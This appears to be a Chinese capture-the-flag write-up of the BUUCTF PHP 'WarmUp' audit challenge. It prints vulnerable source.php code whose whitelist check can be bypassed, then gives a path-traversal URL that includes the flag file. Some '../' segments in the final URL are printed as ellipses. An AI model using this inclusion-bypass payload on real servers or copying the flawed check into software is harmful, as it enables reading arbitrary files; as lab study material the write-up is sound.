1、首先打开题目链接
2、因为是php代码审计,所以我们尝试寻找代码。先查看网页源码 这里发现一个注释的php文件
3、尝试对source.php进行访问
4、出现了php代码,进行代码分析 ① 观察参数file,首先file不能为空,其次要满足是字符串类型
php if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }
② file满足条件便开始传入emmm类下的checkfile()方法,进行代码检测,如果检测通过,便可以进入file变量的目录中.{ $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //判断语句,isset($page) 判 断 传进的变量已经设置,且不为NNUL, is_string($page)判断变量为字符串类型. if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } //判断变量page在数组whitelist中 if (in_array($page, $whitelist)) { return true; } //mb_strpos(a,b),第二个变量在前一个变量出现的位置. //mb_substr(str, start, length)截取函数,开始位置为start设置,常委为length,返回到_page中 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); //判断变量page在数组whitelist中 if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } ```
5、进入hint.php flag在文件ffffllllaaaagggg中
6、尝试http://20e863c3-2c38-498c-b466-6d075e972c36.node4.buuoj.cn:81/source.php?file=source.php?../ffffllllaaaagggg,不断添加…/直到进入文件
http://20e863c3-2c38-498c-b466-6d075e972c36.node4.buuoj.cn:81/source.php?file=source.php?/…/…/…/…/…/…/…/…/ffffllllaaaagggg